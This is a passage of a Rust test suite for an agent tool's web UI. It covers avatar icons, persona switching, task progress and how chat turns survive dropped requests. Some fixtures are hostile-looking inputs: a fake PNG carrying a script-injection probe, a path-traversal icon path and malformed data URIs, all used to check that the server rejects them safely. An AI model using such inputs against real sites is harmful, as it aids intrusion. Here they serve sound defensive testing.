13196        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
13197        let big = dir.path().join("big.png");
13198        let mut bytes = tiny_png();
13199        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
13200        std::fs::write(&big, bytes).unwrap();
13201        let missing = dir.path().join("missing.png");
13202        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
13203        let extra = format!(
13204            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
13205             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
13206             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
13207             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
13208             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
13209             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
13210            uri(&good),
13211            uri(&spoof),
13212            uri(&big),
13213            uri(&missing),
13214        );
13215        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
13216
13217        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
13218        assert_eq!(
13219            (status, ct.as_str(), nosniff),
13220            (StatusCode::OK, "image/png", true)
13221        );
13222        assert_eq!(body, tiny_png());
13223        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
13224        assert_eq!(ct, "image/png", "data URI");
13225
13226        for p in ["misato", "asuka", "shinji", "magi"] {
13227            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
13228            assert_eq!(
13229                (status, ct.as_str(), csp),
13230                (StatusCode::OK, "image/svg+xml", true),
13231                "{p}"
13232            );
13233            assert!(body.starts_with(b"<svg"), "{p}");
13234        }
13235        // The page's own retry skips the icon.
13236        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
13237        assert_eq!(ct, "image/svg+xml");
13238    }
13239
13240    #[tokio::test]
13241    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
13242        let oversized = format!(
13243            "data:image/png;base64,{}",
13244            "A".repeat(persona_icon::ICON_MAX_BYTES)
13245        );
13246        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
13247            let extra = format!(
13248                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
13249            );
13250            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
13251            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13252                .await
13253                .expect("detail with invalid icon");
13254            assert!(detail.personas.iter().any(|p| p.id == "custom"));
13255            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
13256            assert_eq!(status, StatusCode::OK);
13257            assert_eq!(ct, "image/svg+xml");
13258            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
13259            let Json(view) = talk_persona(
13260                State(Arc::clone(&ui)),
13261                Path(id.clone()),
13262                Json(TalkPersona {
13263                    persona: "custom".into(),
13264                }),
13265            )
13266            .await
13267            .expect("persona switch with invalid icon");
13268            assert_eq!(view.talk.persona, "custom");
13269            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
13270        }
13271    }
13272
13273    #[tokio::test]
13274    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
13275        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
13276        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
13277        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
13278        assert_eq!(
13279            (status, ct.as_str(), nosniff, csp),
13280            (StatusCode::OK, "image/svg+xml", true, true)
13281        );
13282    }
13283
13284    #[tokio::test]
13285    async fn the_talk_view_carries_server_built_avatar_urls_only() {
13286        let (_t, _h, ui, id, _repo) =
13287            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
13288        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13289            .await
13290            .expect("detail");
13291        let json = serde_json::to_string(&detail).unwrap();
13292        assert!(
13293            !json.contains("secret"),
13294            "the icon setting must not leak: {json}"
13295        );
13296        assert!(
13297            detail
13298                .view
13299                .persona_avatar
13300                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
13301        );
13302        assert_eq!(
13303            detail.view.operator_avatar,
13304            format!(
13305                "/avatars/operator.svg?v={}",
13306                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
13307            )
13308        );
13309        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
13310        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
13311        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
13312        assert!(rei.avatar.contains("persona=rei&v="));
13313        assert_ne!(
13314            rei.avatar.split("&v=").nth(1),
13315            plain.avatar.split("&v=").nth(1)
13316        );
13317    }
13318
13319    #[tokio::test]
13320    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
13321        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
13322        let cfg = config_for(&repo).await.unwrap();
13323        for arrived in [false, true] {
13324            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
13325            let observed = ui.queued_generation(&id);
13326            let talk = ui.talks.get(&id).unwrap();
13327            if arrived {
13328                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
13329            }
13330            let mut settling = std::pin::pin!(settle_settings_turn(
13331                talk,
13332                ui.talks.clone(),
13333                cfg.clone(),
13334                id.clone(),
13335                turn,
13336                observed
13337            ));
13338            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
13339            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
13340            assert_eq!(first.is_pending(), arrived);
13341            if arrived {
13342                assert!(!settling.await);
13343            }
13344            assert!(!ui.is_thinking(&id));
13345        }
13346    }
13347
13348    #[tokio::test]
13349    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
13350        let tmp = TempDir::new().expect("tempdir");
13351        let repo = tmp.path().join("repo");
13352        std::fs::create_dir_all(&repo).expect("repo dir");
13353        std::fs::write(
13354            repo.join("magi.toml"),
13355            format!(
13356                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
13357            ),
13358        )
13359        .expect("write magi.toml");
13360        let home = TempDir::new().expect("temp home");
13361        let talks = Talks::at(home.path().join("talks"));
13362        let ui = Arc::new(
13363            Ui::new(
13364                Queue::at(home.path().join("queue")),
13365                Questions::at(home.path().join("questions")),
13366                talks.clone(),
13367                home.path().join("runs"),
13368                home.path().to_path_buf(),
13369                repo.clone(),
13370            )
13371            .with_worktrees_root(home.path().join("wt")),
13372        );
13373        let cfg = config_for(&repo).await.expect("discover config");
13374        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13375        let id = talk.id.clone();
13376        let call = |persona: &str| {
13377            talk_persona(
13378                State(Arc::clone(&ui)),
13379                Path(id.clone()),
13380                Json(TalkPersona {
13381                    persona: persona.to_owned(),
13382                }),
13383            )
13384        };
13385
13386        let unknown = call("nobody").await.expect_err("unknown persona");
13387        assert_eq!(
13388            unknown.status,
13389            StatusCode::BAD_REQUEST,
13390            "{}",
13391            unknown.message
13392        );
13393
13394        {
13395            // Nothing refused so far took a claim, so the guard is free to take
13396            // and holding it is what makes the talk busy.
13397            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13398            let busy = call("rei").await.expect_err("busy talk");
13399            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13400            assert!(
13401                busy.message.contains("a talk turn is running"),
13402                "{}",
13403                busy.message
13404            );
13405            drop(guard);
13406        }
13407        assert_eq!(talks.get(&id).expect("reload").persona, "");
13408
13409        let Json(view) = call("gendo").await.expect("switch to a configured persona");
13410        assert_eq!(view.talk.persona, "gendo");
13411        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
13412        assert!(!ui.is_thinking(&id), "idle response must release the claim");
13413        // No intervening I/O or sleep may be needed before another change.
13414        for chosen in ["default", "gendo", "rei", "gendo"] {
13415            let Json(view) = call(chosen).await.expect("immediate consecutive change");
13416            assert!(!view.thinking);
13417            assert!(!ui.is_thinking(&id));
13418        }
13419
13420        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13421            .await
13422            .expect("detail");
13423        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
13424        assert_eq!(ids.first(), Some(&"default"));
13425        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
13426
13427        let Json(view) = call("default").await.expect("back to default");
13428        assert_eq!(view.talk.persona, "");
13429
13430        let mut closed = talks.get(&id).expect("reload");
13431        talk::close(&mut closed, &talks).expect("close");
13432        let refused = call("rei").await.expect_err("closed talk");
13433        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13434        assert!(
13435            refused.message.contains("takes no more turns"),
13436            "{}",
13437            refused.message
13438        );
13439    }
13440
13441    #[tokio::test]
13442    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
13443        let f = Fixture::start().await;
13444        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
13445        let queue = f.queue();
13446        let mut mine = Task::new(
13447            "rename the loader".to_owned(),
13448            "rename the loader".to_owned(),
13449            PathBuf::from("/repo/magi"),
13450            Source::Agent {
13451                run: talk_id.clone(),
13452                node: "chat".to_owned(),
13453            },
13454        );
13455        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
13456        assert_eq!(empty["task_progress"]["state"], "none");
13457        assert_eq!(empty["task_progress"]["total"], 0);
13458        queue.put(&mut mine).expect("file the task");
13459        let mut theirs = Task::new(
13460            "unrelated".to_owned(),
13461            "unrelated".to_owned(),
13462            PathBuf::from("/repo/magi"),
13463            Source::Human,
13464        );
13465        // A later task linked through origin_chat alone is outside this list.
13466        theirs.origin_chat = Some(talk_id.clone());
13467        queue.put(&mut theirs).expect("file the task");
13468
13469        let res = f.get(&format!("/api/talks/{talk_id}")).await;
13470        assert_eq!(res.status, 200, "{}", res.body);
13471        let body = res.json();
13472        assert_eq!(
13473            body["status"], "open",
13474            "filing a task does not close a talk"
13475        );
13476        let tasks = body["tasks"].as_array().expect("tasks array");
13477        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
13478        assert_eq!(tasks[0]["id"], mine.id);
13479        for status in [
13480            TaskStatus::Queued,
13481            TaskStatus::Running,
13482            TaskStatus::Held,
13483            TaskStatus::Failed,
13484            TaskStatus::Blocked,
13485            TaskStatus::Parked,
13486            TaskStatus::Done,
13487            TaskStatus::Queued,
13488        ] {
13489            mine.status = status;
13490            queue.put(&mut mine).expect("update status");
13491            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
13492            let progress = &detail["task_progress"];
13493            assert_eq!(progress["total"], 1);
13494            assert_eq!(progress["counts"][status.as_str()], 1);
13495            assert_eq!(detail["tasks"][0]["status"], status.as_str());
13496            assert_eq!(detail["status"], "open", "completion never closes the chat");
13497            if status == TaskStatus::Done {
13498                assert_eq!(progress["state"], "complete");
13499                assert_eq!(progress["done"], 1);
13500                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
13501            } else {
13502                assert_eq!(progress["state"], "incomplete");
13503                assert_eq!(progress["done"], 0);
13504                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
13505            }
13506        }
13507    }
13508
13509    #[test]
13510    fn talk_task_progress_counts_mixed_statuses() {
13511        let mut tasks: Vec<_> = [
13512            TaskStatus::Queued,
13513            TaskStatus::Running,
13514            TaskStatus::Held,
13515            TaskStatus::Failed,
13516            TaskStatus::Blocked,
13517            TaskStatus::Parked,
13518            TaskStatus::Done,
13519        ]
13520        .into_iter()
13521        .map(|status| {
13522            let mut task = Task::new(
13523                "task".into(),
13524                "task".into(),
13525                PathBuf::from("/repo"),
13526                Source::Human,
13527            );
13528            task.status = status;
13529            task
13530        })
13531        .collect();
13532        let progress = talk_task_progress(&tasks);
13533        assert_eq!(progress.state, "incomplete");
13534        assert_eq!(progress.total, 7);
13535        assert_eq!(progress.done, 1);
13536        assert_eq!(progress.unfinished_ids.len(), 6);
13537        assert!(progress.counts.values().all(|count| *count == 1));
13538        assert_eq!(
13539            progress.unfinished_ids,
13540            tasks[..6]
13541                .iter()
13542                .map(|task| task.id.clone())
13543                .collect::<Vec<_>>()
13544        );
13545
13546        for task in &mut tasks {
13547            task.status = TaskStatus::Done;
13548        }
13549        let complete = talk_task_progress(&tasks);
13550        assert_eq!(complete.state, "complete");
13551        assert_eq!(complete.done, 7);
13552        assert!(complete.unfinished_ids.is_empty());
13553        tasks[0].status = TaskStatus::Queued;
13554        let requeued = talk_task_progress(&tasks);
13555        assert_eq!(requeued.state, "incomplete");
13556        assert_eq!(requeued.done, 6);
13557        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
13558
13559        let empty = talk_task_progress(&[]);
13560        assert_eq!(empty.state, "none");
13561        assert_eq!(empty.total, 0);
13562        assert_eq!(empty.done, 0);
13563        assert!(empty.unfinished_ids.is_empty());
13564        assert!(empty.counts.values().all(|count| *count == 0));
13565    }
13566
13567    #[tokio::test]
13568    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
13569        let (_tmp, _repo, f) = talk_fixture().await;
13570        let id = f.post("/api/talks", None).await.json()["id"]
13571            .as_str()
13572            .expect("id")
13573            .to_owned();
13574
13575        let res = f
13576            .post(
13577                &format!("/api/talks/{id}/say"),
13578                Some(r#"{"text":"what does the queue module do?"}"#),
13579            )
13580            .await;
13581        assert_eq!(res.status, 202, "{}", res.body);
13582        let queued = res.json();
13583        let turns = queued["turns"].as_array().expect("turns array");
13584        assert_eq!(
13585            turns.len(),
13586            1,
13587            "the answer reflects only what is on disk the instant it is sent, \
13588             before the agent's turn - which can run for the whole of \
13589             `[graph] timeout_talk` - has a chance to land: {queued}"
13590        );
13591        assert_eq!(turns[0]["who"], "operator");
13592        assert_eq!(turns[0]["body"], "what does the queue module do?");
13593        assert_eq!(
13594            queued["thinking"], true,
13595            "the accepted response exposes the background turn claim: {queued}"
13596        );
13597
13598        let mut turns_after = 1;
13599        for _ in 0..SETTLE_STEPS {
13600            let detail = f.get(&format!("/api/talks/{id}")).await.json();
13601            turns_after = detail["turns"].as_array().expect("turns array").len();
13602            if turns_after == 2 {
13603                break;
13604            }
13605            tokio::time::sleep(Duration::from_millis(10)).await;
13606        }
13607        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
13608    }
13609
13610    /// A phone that reloads mid-request drops `talk_say`'s whole handler
13611    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
13612    /// guards against: `talk::record` used to return, and only *then* did the
13613    /// handler make a second, separate disk round trip before spawning the
13614    /// agent's reply task. A future dropped in that gap left a message
13615    /// recorded on disk with no reply task ever started and no way back short
13616    /// of a fresh message - and the gap was not even the whole story: *any*
13617    /// `.await` in this handler, including the very first one, is a point
13618    /// where a drop can land after the awaited work already finished but
13619    /// before this handler's own code resumes to act on it. `record` now
13620    /// runs inside the task `tokio::spawn` hands to the runtime before this
13621    /// handler ever awaits anything of its own again, so there is nothing
13622    /// left in *this* handler's future for a disconnect to interrupt between
13623    /// the message landing on disk and the reply task starting.
13624    ///
13625    /// A real socket disconnect cannot be relied on to land in the old gap
13626    /// from a test - over loopback, `talk_say` typically finishes before the
13627    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
13628    /// same failure mode directly: it drops the task's future at whatever
13629    /// point it has reached, exactly what axum does to the handler future,
13630    /// without needing to win a real network race. Sweeping the delay before
13631    /// aborting samples a range of points the task's execution can be at,
13632    /// including where the old code sat waiting on its second disk round
13633    /// trip - confirmed by reverting this fix locally and watching this same
13634    /// sweep catch a talk stuck with the operator's turn recorded and no
13635    /// reply ever following.
13636    #[tokio::test]
13637    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
13638        let tmp = TempDir::new().expect("tempdir");
13639        let repo = tmp.path().join("repo");
13640        std::fs::create_dir_all(&repo).expect("repo dir");
13641        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13642        let home = TempDir::new().expect("temp home");
13643        let talks = Talks::at(home.path().join("talks"));
13644        let ui = Arc::new(
13645            Ui::new(
13646                Queue::at(home.path().join("queue")),
13647                Questions::at(home.path().join("questions")),
13648                talks.clone(),
13649                home.path().join("runs"),
13650                home.path().to_path_buf(),
13651                repo.clone(),
13652            )
13653            .with_worktrees_root(home.path().join("wt")),
13654        );
13655        let cfg = config_for(&repo).await.expect("discover config");
13656
13657        for delay in 0..40u32 {
13658            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
13659            let id = talk.id.clone();
13660
13661            let handler = tokio::spawn(talk_say(
13662                State(Arc::clone(&ui)),
13663                Path(id.clone()),
13664                Ok(Json(NewTalkTurn {
13665                    reply_to: None,
13666                    text: "what does the queue module do?".to_owned(),
13667                    attachments: Vec::new(),
13668                })),
13669            ));
13670            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
13671            handler.abort();
13672            // Wait out the abort so the next iteration's talk does not race
13673            // this one's still-unwinding turn guard.
13674            let _ = handler.await;
13675
13676            let mut turns = 0;
13677            for _ in 0..SETTLE_STEPS {
13678                if let Ok(fresh) = talks.get(&id) {
13679                    turns = fresh.turns.len();
13680                    if turns != 1 {
13681                        break;
13682                    }
13683                }
13684                tokio::time::sleep(Duration::from_millis(10)).await;
13685            }
13686            assert_ne!(
13687                turns, 1,
13688                "delay {delay}: talk {id} recorded the operator's turn but \
13689                 the agent never answered - the reply task was never \
13690                 started after the handler future was dropped"
13691            );
13692        }
13693    }
13694
13695    /// The same drop, landing on `talk_say`'s other durable write.
13696    ///
13697    /// When a turn is already running, the busy branch persists the
13698    /// operator's text as a queued draft and then reclaims the turn slot if
13699    /// the holder gave it up in the meantime - and whoever reclaims owes that
13700    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
13701    /// which finishes whether or not the future awaiting it is still there,
13702    /// so a handler dropped at that `.await` used to leave the draft written
13703    /// to disk with the reclaimed guard dropped unread and no drainer ever
13704    /// started: the message sat queued until some unrelated later `say`
13705    /// happened to pick it up.
13706    ///
13707    /// This used to drive the handler future by hand, polling it a fixed
13708    /// number of times to park it at the `.await` where it asks for the turn
13709    /// and finds it busy, before the reclaim's slot-free case could be set up
13710    /// underneath it. That assumed a fixed number of polls lands at a fixed
13711    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
13712    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
13713    /// poll, so any number of this handler's several `blocking` awaits can
13714    /// collapse into one poll under load, landing the drive somewhere other
13715    /// than intended - including, occasionally, straight past the handler's
13716    /// own completion, which made polling it again panic with "async fn
13717    /// resumed after completion". No poll count fixes that; the handler's
13718    /// progress simply is not something a caller outside it can observe by
13719    /// counting.
13720    ///
13721    /// [`BusyQueueGate`] replaces the poll count with a real stop point
13722    /// inside the write itself, so the interleaving under test is pinned by
13723    /// an event instead of a guess: the gate fires only once the handler has
13724    /// actually decided `Busy` and is about to persist the draft, and it
13725    /// blocks that write until the test lets it through. Between those two
13726    /// moments the test drains the turn the handler found busy - through
13727    /// `drain_loop`, the protocol's other half - and then aborts the handler
13728    /// task outright, the same way axum drops a disconnected request's
13729    /// future. The write, and the reclaim it may do, run to completion
13730    /// regardless: they live in the `tokio::spawn` task the busy branch hands
13731    /// to the runtime before ever touching the gate, wholly independent of
13732    /// whether the handler that started it is still around - which is what
13733    /// this test is actually checking. A drainer other than that reclaim
13734    /// cannot exist here: the test's own `drain_loop` call happens before the
13735    /// gate opens, so it runs while the queue is still empty and hands the
13736    /// turn straight back rather than draining anything, closing off the
13737    /// possibility of the final assertion passing without the reclaim ever
13738    /// having done its job.
13739    #[tokio::test]
13740    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
13741        let tmp = TempDir::new().expect("tempdir");
13742        let repo = tmp.path().join("repo");
13743        std::fs::create_dir_all(&repo).expect("repo dir");
13744        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13745        let home = TempDir::new().expect("temp home");
13746        let talks = Talks::at(home.path().join("talks"));
13747        let ui = Arc::new(
13748            Ui::new(
13749                Queue::at(home.path().join("queue")),
13750                Questions::at(home.path().join("questions")),
13751                talks.clone(),
13752                home.path().join("runs"),
13753                home.path().to_path_buf(),
13754                repo.clone(),
13755            )
13756            .with_worktrees_root(home.path().join("wt")),
13757        );
13758        let cfg = config_for(&repo).await.expect("discover config");
13759
13760        for attempt in 0..3u32 {
13761            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
13762            let id = talk.id.clone();
13763            // A turn is already running, which is what sends `talk_say` down
13764            // the busy branch.
13765            let turn_guard = ui
13766                .begin_talk_turn(&id)
13767                .expect("claim the turn")
13768                .expect("a fresh talk owes nobody a turn");
13769
13770            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
13771            let (release_tx, release_rx) = std::sync::mpsc::channel();
13772            ui.set_busy_queue_gate(BusyQueueGate {
13773                reached: reached_tx,
13774                release: release_rx,
13775            });
13776
13777            let handler = tokio::spawn(talk_say(
13778                State(Arc::clone(&ui)),
13779                Path(id.clone()),
13780                Ok(Json(NewTalkTurn {
13781                    reply_to: None,
13782                    text: "what does the queue module do?".to_owned(),
13783                    attachments: Vec::new(),
13784                })),
13785            ));
13786
13787            // Wait for the busy branch to actually reach the gate, rather
13788            // than for any fixed number of polls of anything - a bounded
13789            // wait rather than a bare `.await` so a regression that never
13790            // reaches the gate fails the test instead of hanging it.
13791            tokio::time::timeout(Duration::from_secs(5), reached_rx)
13792                .await
13793                .unwrap_or_else(|_| {
13794                    panic!(
13795                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
13796                    )
13797                })
13798                .expect("the busy branch dropped the gate without using it");
13799
13800            // The turn that was running now finishes and gives the slot up
13801            // the way a real one does - through `drain_loop`, which finds
13802            // nothing queued yet (the write is still held at the gate) and
13803            // releases. The handler, parked inside `spawn_blocking` on the
13804            // other side of the gate, still believes the talk is busy -
13805            // exactly the interleaving the reclaim exists for.
13806            let running = talks.get(&id).expect("reload talk");
13807            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
13808
13809            // Drop the handler future now, the way a reloading phone drops
13810            // it: suspended waiting on the busy branch's answer, having
13811            // itself made no more progress since it handed the write off.
13812            handler.abort();
13813            let _ = handler.await;
13814
13815            // Only now let the gated write proceed. It persists the draft
13816            // and reclaims the now-free slot from inside the task the busy
13817            // branch already spawned - unaffected by the handler's abort
13818            // above, since that task was independent of the handler's own
13819            // future from the moment it was spawned.
13820            let _ = release_tx.send(());
13821
13822            // A settled talk: the draft drained into an operator turn and
13823            // answered.
13824            let mut fresh = talks.get(&id).expect("reload talk");
13825            for _ in 0..SETTLE_STEPS {
13826                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
13827                    break;
13828                }
13829                tokio::time::sleep(Duration::from_millis(10)).await;
13830                fresh = talks.get(&id).expect("reload talk");
13831            }
13832            assert!(
13833                fresh.pending.is_empty() && fresh.turns.len() == 2,
13834                "attempt {attempt}: talk {id} left the operator's text queued \
13835                 with no drainer - the reclaimed turn was dropped along with \
13836                 the handler future (pending {:?}, {} turns)",
13837                fresh.pending,
13838                fresh.turns.len()
13839            );
13840        }
13841    }
13842
13843    #[tokio::test]
13844    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
13845        let (_tmp, _repo, f) = talk_fixture().await;
13846        let id = f.post("/api/talks", None).await.json()["id"]
13847            .as_str()
13848            .expect("id")
13849            .to_owned();
13850        let store = f.talks();
13851        let mut recovered = store.get(&id).expect("opened talk");
13852        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
13853            .expect("persist pending draft without a live turn");
13854
13855        let edited = f
13856            .post(
13857                &format!("/api/talks/{id}/pending/edit"),
13858                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
13859            )
13860            .await;
13861        assert_eq!(edited.status, 200, "{}", edited.body);
13862        assert!(edited.json()["thinking"].as_bool().unwrap());
13863
13864        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
13865        for _ in 0..SETTLE_STEPS {
13866            if detail["turns"].as_array().expect("turns").len() == 2 {
13867                break;
13868            }
13869            tokio::time::sleep(Duration::from_millis(10)).await;
13870            detail = f.get(&format!("/api/talks/{id}")).await.json();
13871        }
13872        let turns = detail["turns"].as_array().expect("turns");
13873        assert_eq!(
13874            turns.len(),
13875            2,
13876            "the recovered draft must run once: {detail}"
13877        );
13878        assert_eq!(turns[0]["body"], "corrected");
13879        assert_eq!(detail["pending"], "");
13880    }
13881
13882    #[tokio::test]
13883    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
13884        let tmp = TempDir::new().expect("tempdir");
13885        let repo = tmp.path().join("repo");
13886        std::fs::create_dir_all(&repo).expect("repo dir");
13887        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
13888        let f = Fixture::with_repo(repo).await;
13889        let id = f.post("/api/talks", None).await.json()["id"]
13890            .as_str()
13891            .expect("id")
13892            .to_owned();
13893        let store = f.talks();
13894        let mut recovered = store.get(&id).expect("opened talk");
13895        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
13896            .expect("persist pending draft without a live turn");
13897
13898        let refused = f
13899            .post(
13900                &format!("/api/talks/{id}/say"),
13901                Some(r#"{"text":"new message"}"#),
13902            )
13903            .await;
13904        assert_eq!(refused.status, 409, "{}", refused.body);
13905        assert!(refused.body.contains("resume"), "{}", refused.body);
13906        let saved = store.get(&id).expect("draft remains after refusal");
13907        assert!(saved.turns.is_empty());
13908        assert_eq!(saved.pending, "saved before restart");
13909
13910        let say_path = format!("/api/talks/{id}/say");
13911        let (first, second) = tokio::join!(
13912            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
13913            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
13914        );
13915        assert_eq!(first.status, 409, "{}", first.body);
13916        assert_eq!(second.status, 409, "{}", second.body);
13917        let saved = store
13918            .get(&id)
13919            .expect("draft remains after concurrent refusals");
13920        assert!(saved.turns.is_empty());
13921        assert_eq!(saved.pending, "saved before restart");
13922
13923        let resumed = f
13924            .post(&format!("/api/talks/{id}/pending/resume"), None)
13925            .await;
13926        assert_eq!(resumed.status, 202, "{}", resumed.body);
13927        let duplicate = f
13928            .post(&format!("/api/talks/{id}/pending/resume"), None)
13929            .await;
13930        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
13931
13932        for _ in 0..SETTLE_STEPS {
13933            if store.get(&id).expect("talk").turns.len() == 2 {
13934                break;
13935            }
13936            tokio::time::sleep(Duration::from_millis(10)).await;
13937        }
13938        let finished = store.get(&id).expect("finished talk");
13939        assert_eq!(finished.turns.len(), 2, "{finished:?}");
13940        assert_eq!(finished.turns[0].body, "saved before restart");
13941        assert!(finished.pending.is_empty());
13942    }
13943
13944    #[tokio::test]
13945    async fn an_image_only_recovered_draft_resumes_without_text() {
13946        let (_tmp, _repo, f) = talk_fixture().await;
13947        let id = f.post("/api/talks", None).await.json()["id"]
13948            .as_str()
13949            .expect("id")
13950            .to_owned();
13951        let uploaded = f
13952            .post_bytes(
13953                &format!("/api/talks/{id}/attachments"),
13954                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
13955                PNG_BYTES,
13956            )
13957            .await;
13958        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
13959        let attachment = f
13960            .talks()
13961            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
13962            .expect("attachment metadata")
13963            .expect("stored attachment");
13964        let store = f.talks();
13965        let mut recovered = store.get(&id).expect("opened talk");
13966        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
13967
13968        let resumed = f
13969            .post(&format!("/api/talks/{id}/pending/resume"), None)
13970            .await;
13971        assert_eq!(resumed.status, 202, "{}", resumed.body);
13972        for _ in 0..SETTLE_STEPS {
13973            if store.get(&id).expect("talk").turns.len() == 2 {
13974                break;
13975            }
13976            tokio::time::sleep(Duration::from_millis(10)).await;
13977        }
13978        let finished = store.get(&id).expect("finished talk");
13979        assert_eq!(finished.turns.len(), 2, "{finished:?}");
13980        assert!(finished.turns[0].body.is_empty());
13981        assert_eq!(finished.turns[0].attachments.len(), 1);
13982        assert!(finished.pending_attachments.is_empty());
13983    }
13984
13985    #[tokio::test]
13986    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
13987        let (_tmp, _repo, f) = talk_fixture().await;
13988        let id = f.post("/api/talks", None).await.json()["id"]
13989            .as_str()
13990            .expect("id")
13991            .to_owned();
13992        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13993        assert_eq!(closed.status, 200, "{}", closed.body);
13994        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
13995            .expect("serialize closed talk");
13996        for (path, body) in [
13997            (format!("/api/talks/{id}/pending/resume"), None),
13998            (
13999                format!("/api/talks/{id}/pending/clear"),
14000                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
14001            ),
14002            (
14003                format!("/api/talks/{id}/pending/edit"),
14004                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
14005            ),
14006            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
14007        ] {
14008            let response = f.post(&path, body).await;
14009            assert_eq!(response.status, 409, "{}", response.body);
14010        }
